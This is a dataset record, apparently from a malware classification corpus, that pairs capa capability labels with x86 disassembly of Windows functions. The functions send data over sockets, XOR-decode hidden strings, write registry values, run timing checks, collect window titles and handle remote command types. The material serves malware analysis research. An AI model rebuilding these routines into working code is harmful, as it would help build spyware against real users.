joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006850
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8000c
call fcn.10018ea0
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
mov dword [ebp - 0x80008], eax
lea ebx, [edi + 0x10001c]
push ebx
mov dword [ebp - 0x8000c], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 4], 0xffffffff
je 0x10006a13
cmp byte [edi + 0x100038], 0
je 0x10006a13
push esi
push 0x80000
lea eax, [ebp - 0x80004]
push 0
push eax
call fcn.1001bad0
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x80004]
push esi
push dword [ebp - 0x80008]
push eax
call fcn.1001b550
add esp, 0x18
cmp byte [ebp - 0x80004], 0xc1
jne 0x100068e6
push dword [ebp - 0x80002]
lea eax, [esi - 3]
push eax
lea eax, [ebp - 0x80001]
jmp 0x100068f6
push dword [ebp - 0x80001]
lea eax, [esi - 4]
push eax
lea eax, [ebp - 0x80000]
push eax
call fcn.1000c050
mov ecx, dword [edi + 0x100010]
add esp, 0xc
test ecx, ecx
jle 0x10006958
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x10006936
mov ecx, edi
call fcn.10006c30
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e82
mov esp, ebp
pop ebp
ret 8
push esi
lea eax, [ebp - 0x80004]
push eax
lea eax, [edi + 0x80010]
add eax, ecx
push eax
call fcn.1001b550
add esp, 0xc
add dword [edi + 0x100010], esi
push ebx
jmp 0x10006989
xor ebx, ebx
test esi, esi
jle 0x10006982
nop
push 0
push esi
lea eax, [ebp - 0x80004]
add eax, ebx
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100069a4
sub esi, eax
add ebx, eax
test esi, esi
jg 0x10006960
mov eax, dword [ebp - 0x8000c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e82
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100069ea
mov ecx, dword [edi + 0x100010]
lea eax, [ecx + esi]
cmp eax, 0x80000
jg 0x100069ea
lea eax, [ebp - 0x80004]
add eax, ebx
push esi
push eax
lea eax, [edi + 0x80010]
add eax, ecx
push eax
call fcn.1001b550
add esp, 0xc
lea eax, [edi + 0x10001c]
add dword [edi + 0x100010], esi
jmp 0x10006988
mov ecx, edi
call fcn.10006c30
lea eax, [edi + 0x10001c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e82
mov esp, ebp
pop ebp
ret 8
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop ebx
call fcn.10018e82
mov esp, ebp
pop ebp
ret 8
Function at 0x10006a30
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x10001c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10006a82
lea eax, [esi + 0x80010]
push 0
push dword [esi + 0x100010]
add eax, edi
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10006a8f
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
lea eax, [esi + 0x80010]
jg 0x10006a52
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov al, 1
pop ebx
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10006ac7
push dword [esi + 0x100010]
lea eax, [esi + 0x80010]
add eax, edi
push eax
lea eax, [esi + 0x80010]
push eax
call fcn.1001a660
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov al, 1
pop ebx
ret
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x10006add
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
test eax, eax
je 0x10006af2
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], 0
push ebx
mov byte [esi + 0x100038], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
ret

Function at 0x10006b10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
xor eax, eax
test edx, edx
jle 0x10006b3e
push esi
mov esi, dword [ebp + 8]
mov cl, byte [0x10147c3d]
add cl, 0xf
xor cl, byte [eax + esi]
sub cl, byte [0x10147c3e]
add cl, 0xf
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10006b20
pop esi
pop ebp
ret

Function at 0x10006b40
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10036998
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x101469e4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10146430]
cmp eax, 0x927c0
jb 0x10006b85
call esi
mov dword [0x10146430], eax
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x14
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
mov ecx, 0x1004618c
call fcn.100105a0
test al, al
jne 0x10006be8
mov esi, dword [ebp - 0x1c]
cmp esi, dword [ebp - 0x18]
jne 0x10006bf6
lea eax, [ebp - 0x1c]
mov ecx, edi
push eax
call fcn.1000cb90
mov esi, dword [ebp - 0x1c]
push dword [ebp - 0x10]
call sub.gdiplus.dll_GdiplusShutdown
test esi, esi
je 0x10006c11
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x1c]
sub eax, esi
push eax
push esi
call fcn.1000f900
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10006c70
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x8c], 0
mov edx, 0xf
xor ecx, ecx
mov al, byte [ecx + str.LMEZZQY_KEYnnnqmSLLVPH]
xor al, dl
mov byte [ebp + ecx - 0x40], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x18
jb 0x10006c94
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x40]
push eax
mov byte [ebp - 0x28], 0
call esi
test eax, eax
jne 0x10006d5e
mov edx, 0x15
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.V_Kxnz_pg_wHDF]
xor al, dl
mov byte [ebp + ecx - 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x10006cd0
lea eax, [ebp - 0x14]
mov byte [ebp - 5], 0
push eax
call esi
test eax, eax
jne 0x10006d5e
mov edx, 6
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.BTMk]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x10006d00
lea eax, [ebp - 0x24]
mov byte [ebp - 0x15], 0
push eax
call esi
test eax, eax
jne 0x10006d5e
mov eax, 0x10039e58
lea ecx, [ebp - 0x70]
sub eax, 0x32593faf
push eax
call fcn.10002590
push eax
call esi
test eax, eax
jne 0x10006d5e
mov eax, str.S_Kxnz_pg_wHDF
lea ecx, [ebp - 0x80]
sub eax, 0x43f2140e
push eax
call fcn.100023b0
push eax
call esi
test eax, eax
jne 0x10006d5e
xor al, al
jmp 0x10006d60
mov al, 1
test al, al
jne 0x10006e6a
mov edx, 6
xor ecx, ecx
nop
mov al, byte [ecx + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor al, dl
mov byte [ebp + ecx - 0x60], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x3b
jb 0x10006d70
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x84]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x60]
mov byte [ebp - 0x25], 0
push eax
push connect
call esi
test eax, eax
jne 0x10006deb
push 4
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
push 4
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x75526f4e
push eax
push dword [ebp - 0x84]
mov word [ebp - 8], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x84]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0xa1
xor ecx, ecx
mov al, byte [ecx + 0x10039d88]
xor al, dl
mov byte [ebp + ecx - 0x50], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x10006df2
lea eax, [ebp - 0x8c]
mov byte [ebp - 0x26], 0
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x50]
push eax
push connect
call esi
test eax, eax
jne 0x10006e6a
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x10]
mov eax, 0x10039db4
sub eax, 0x38d41ae2
push eax
call fcn.10002a50
push 4
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
push eax
push dword [ebp - 0x84]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x8c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10018e82
mov esp, ebp
pop ebp
ret
Function at 0x10006e80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
test esi, esi
jle 0x10006eb1
push edi
mov edi, dword [ebp + 8]
mov dl, byte [eax + edi]
mov cl, byte [0x10147c3d]
sub dl, 0xf
add dl, byte [0x10147c3e]
add cl, 0xf
xor dl, cl
mov byte [eax + edi], dl
inc eax
cmp eax, esi
jl 0x10006e91
pop edi
pop esi
pop ebp
ret

Function at 0x10006f20
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push 0x10039ad4
push eax
lea eax, [ebp - 0x408]
mov dword [ebp - 0x40c], ecx
push eax
or ebx, 0xffffffff
mov dword [ebp - 0x408], 0
call fcn.1001eb16
add esp, 0xc
test eax, eax
je 0x10006f77
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e82
mov esp, ebp
pop ebp
ret 4
push esi
push edi
nop dword [eax]
push dword [ebp - 0x408]
lea eax, [ebp - 0x404]
push 0x400
push 1
push eax
call fcn.10021834
mov edi, eax
lea esi, [ebp - 0x404]
add esp, 0x10
mov dword [ebp - 0x410], edi
mov edx, edi
test edi, edi
je 0x10006fd2
mov edi, dword [ebp - 0x40c]
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [edi + ecx*4]
sub edx, 1
jne 0x10006fb6
mov edi, dword [ebp - 0x410]
cmp edi, 0x400
je 0x10006f80
push dword [ebp - 0x408]
call fcn.1002113b
mov ecx, dword [ebp - 4]
add esp, 4
not ebx
xor ecx, ebp
mov eax, ebx
pop edi
pop esi
pop ebx
call fcn.10018e82
mov esp, ebp
pop ebp
ret 4
Function at 0x10007000
Capabilities:
Parse pe header
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
push 0
push 0
push 3
push 0
push 1
push connect
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp + 0x10]
push eax
mov dword [ebp - 0x44], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10007053
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x10007066
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e82
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
jne 0x1000709b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e82
mov esp, ebp
pop ebp
ret 0xc
push esi
push dword [ebp - 0x14]
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x1000711b
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x10007114
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x10007114
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
je 0x100070e4
mov edx, 0x8664
cmp cx, dx
jne 0x10007114
push dword [eax + 0x28]
push dword [eax + 0x34]
push eax
call dword [sym.imp.dbghelp.dll_ImageRvaToSection]
mov ecx, eax
test ecx, ecx
je 0x10007114
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x3c]
push 0
push 0
add eax, dword [ecx + 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1000713c
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop esi
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e82
mov esp, ebp
pop ebp
ret 0xc
push 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0
push eax
push 0x20
push dword [ebp - 0x44]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
je 0x10007115
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx + 0x28]
add eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.10018e82
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100086f0
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x294
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x294]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xff
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10018e82
mov esp, ebp
pop ebp
ret
Function at 0x10008e50
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10036a9b
mov eax, dword fs:[0]
push eax
sub esp, 0xc28
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xc30], 0
mov dword [ebp - 0xc2c], 0
mov dword [ebp - 0xc28], 0
lea eax, [ebp - 0xc30]
mov dword [ebp - 4], 0
push eax
push dword [ebp + 8]
call fcn.10007190
add esp, 8
mov word [ebp - 0xc24], 0xac2
mov byte [ebp - 0xc22], 0xc
call fcn.1001e534
and eax, 0x800000ff
jns 0x10008ed8
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 0xc30]
xor edi, edi
mov byte [ebp - 0xc21], al
mov eax, dword [ebp - 0xc2c]
sub eax, ebx
mov byte [ebp - 0xc20], 0x21
sar eax, 2
mov dword [ebp - 0xc34], eax
mov dword [ebp - 0xc1c], eax
test eax, eax
je 0x10008fb8
lea esi, [ebp - 0x718]
cmp edi, 0x14
jge 0x10008fb8
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebx + edi*4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x104
lea eax, [ebp - 0x218]
push eax
push dword [ebx + edi*4]
call dword [sym.imp.USER32.dll_GetClassNameA]
movups xmm0, xmmword [ebp - 0x114]
inc edi
movups xmmword [esi - 0x500], xmm0
movups xmm0, xmmword [ebp - 0x104]
movups xmmword [esi - 0x4f0], xmm0
movups xmm0, xmmword [ebp - 0xf4]
movups xmmword [esi - 0x4e0], xmm0
movups xmm0, xmmword [ebp - 0xe4]
movups xmmword [esi - 0x4d0], xmm0
movups xmm0, xmmword [ebp - 0x218]
movups xmmword [esi], xmm0
movups xmm0, xmmword [ebp - 0x208]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [ebp - 0x1f8]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [ebp - 0x1e8]
movups xmmword [esi + 0x30], xmm0
add esi, 0x40
cmp edi, dword [ebp - 0xc34]
jb 0x10008f12
push 0xa0c
lea eax, [ebp - 0xc24]
mov ecx, 0x100463e8
push eax
call fcn.10006850
test ebx, ebx
je 0x1000902a
mov eax, dword [ebp - 0xc28]
sub eax, ebx
sar eax, 2
cmp eax, 0x3fffffff
jbe 0x10008fe9
call fcn.1001e261
shl eax, 2
cmp eax, 0x1000
jb 0x10009021
test bl, 0x1f
je 0x10008ffd
call fcn.1001e261
mov eax, dword [ebx - 4]
cmp eax, ebx
jb 0x10009009
call fcn.1001e261
sub ebx, eax
cmp ebx, 4
jae 0x10009015
call fcn.1001e261
cmp ebx, 0x23
jbe 0x1000901f
call fcn.1001e261
mov ebx, eax
push ebx
call fcn.100186f0
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018e82
mov esp, ebp
pop ebp
ret 4
Function at 0x10009260
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10036ad8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
movzx eax, byte [esi + 4]
push eax
push str._HCClientDisconnectRecv__Type:__d
push 0
call fcn.1000bd70
movzx eax, byte [esi + 4]
add esp, 0xc
cmp eax, 0xf
ja case.default.0x100092af
jmp dword [eax*4 + 0x100094e4]
push 0x1388
add esi, 5
push esi
push 1
push 2
push 0x100462c0
call fcn.1000cdb0
push 0x104
push 0
push esi
call fcn.1001bad0
add esp, 0x20
jmp case.0x100092af.0
cmp dword [0x10a69608], 0
jne case.0x100092af.0
push 0x6e0f790f
lea ecx, [ebp - 0x20]
mov dword [0x10a69608], 1
call fcn.10002b20
add esi, 5
push esi
push eax
push 0x10147a48
call fcn.10013200
add esp, 0xc
push 0
push 0
push 0
push 0x1000b570
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x104
push 0
push esi
call fcn.1001bad0
add esp, 0xc
jmp case.0x100092af.0
cmp dword [0x10a69608], 0
jne case.0x100092af.0
push 0
push 0
push 0
push 0x1000b570
push 0
push 0
mov dword [0x10a69608], 2
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x100092af.0
mov eax, str.Fvwiu___
lea ecx, [ebp - 0x1c]
sub eax, 0x1395533e
push eax
call fcn.10002230
mov ebx, eax
push ebx
push 1
push 2
push str._SplashScreen__SplashType:__d__TextSwitch:__d__DisplayText:__s
push 0
mov dword [ebp - 4], 0
call fcn.1000bd70
mov eax, dword [0x1004606c]
add esp, 0x14
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
test eax, eax
je 0x100093d9
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10147b54]
mov dword [0x1004606c], 0
push dword [0x10046084]
call edi
mov eax, dword [0x1004619c]
test eax, eax
je 0x10009403
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10147b54]
mov dword [0x1004619c], 0
push dword [0x100461b4]
call edi
mov eax, dword [0x100462c4]
test eax, eax
je 0x1000942d
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10147b54]
mov dword [0x100462c4], 0
push dword [0x100462dc]
call edi
push 0x2b39c0
push ebx
push 1
push 0x808080
push dword [0x10147b54]
mov ecx, 0x100462c0
push 2
call fcn.1000d180
push 0
push 0
push 0x100462c0
push 0x1000cf50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [0x100462c8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x100462c8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x100462c4]
test eax, eax
je 0x100094b3
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10147b54]
mov dword [0x100462c4], 0
push dword [0x100462dc]
call edi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x1000d4a0
jmp dword [pe_dos_header]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018e82
mov esp, ebp
pop ebp
ret
Function at 0x100092e2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10036ad8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
movzx eax, byte [esi + 4]
push eax
push str._HCClientDisconnectRecv__Type:__d
push 0
call fcn.1000bd70
movzx eax, byte [esi + 4]
add esp, 0xc
cmp eax, 0xf
ja case.default.0x100092af
jmp dword [eax*4 + 0x100094e4]
push 0x1388
add esi, 5
push esi
push 1
push 2
push 0x100462c0
call fcn.1000cdb0
push 0x104
push 0
push esi
call fcn.1001bad0
add esp, 0x20
jmp case.0x100092af.0
cmp dword [0x10a69608], 0
jne case.0x100092af.0
push 0x6e0f790f
lea ecx, [ebp - 0x20]
mov dword [0x10a69608], 1
call fcn.10002b20
add esi, 5
push esi
push eax
push 0x10147a48
call fcn.10013200
add esp, 0xc
push 0
push 0
push 0
push 0x1000b570
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x104
push 0
push esi
call fcn.1001bad0
add esp, 0xc
jmp case.0x100092af.0
cmp dword [0x10a69608], 0
jne case.0x100092af.0
push 0
push 0
push 0
push 0x1000b570
push 0
push 0
mov dword [0x10a69608], 2
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x100092af.0
mov eax, str.Fvwiu___
lea ecx, [ebp - 0x1c]
sub eax, 0x1395533e
push eax
call fcn.10002230
mov ebx, eax
push ebx
push 1
push 2
push str._SplashScreen__SplashType:__d__TextSwitch:__d__DisplayText:__s
push 0
mov dword [ebp - 4], 0
call fcn.1000bd70
mov eax, dword [0x1004606c]
add esp, 0x14
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
test eax, eax
je 0x100093d9
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10147b54]
mov dword [0x1004606c], 0
push dword [0x10046084]
call edi
mov eax, dword [0x1004619c]
test eax, eax
je 0x10009403
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10147b54]
mov dword [0x1004619c], 0
push dword [0x100461b4]
call edi
mov eax, dword [0x100462c4]
test eax, eax
je 0x1000942d
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10147b54]
mov dword [0x100462c4], 0
push dword [0x100462dc]
call edi
push 0x2b39c0
push ebx
push 1
push 0x808080
push dword [0x10147b54]
mov ecx, 0x100462c0
push 2
call fcn.1000d180
push 0
push 0
push 0x100462c0
push 0x1000cf50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [0x100462c8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x100462c8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x100462c4]
test eax, eax
je 0x100094b3
push 0
push 0
push 0x10
push eax
call esi
push dword [0x10147b54]
mov dword [0x100462c4], 0
push dword [0x100462dc]
call edi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x1000d4a0
jmp dword [pe_dos_header]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018e82
mov esp, ebp
pop ebp
ret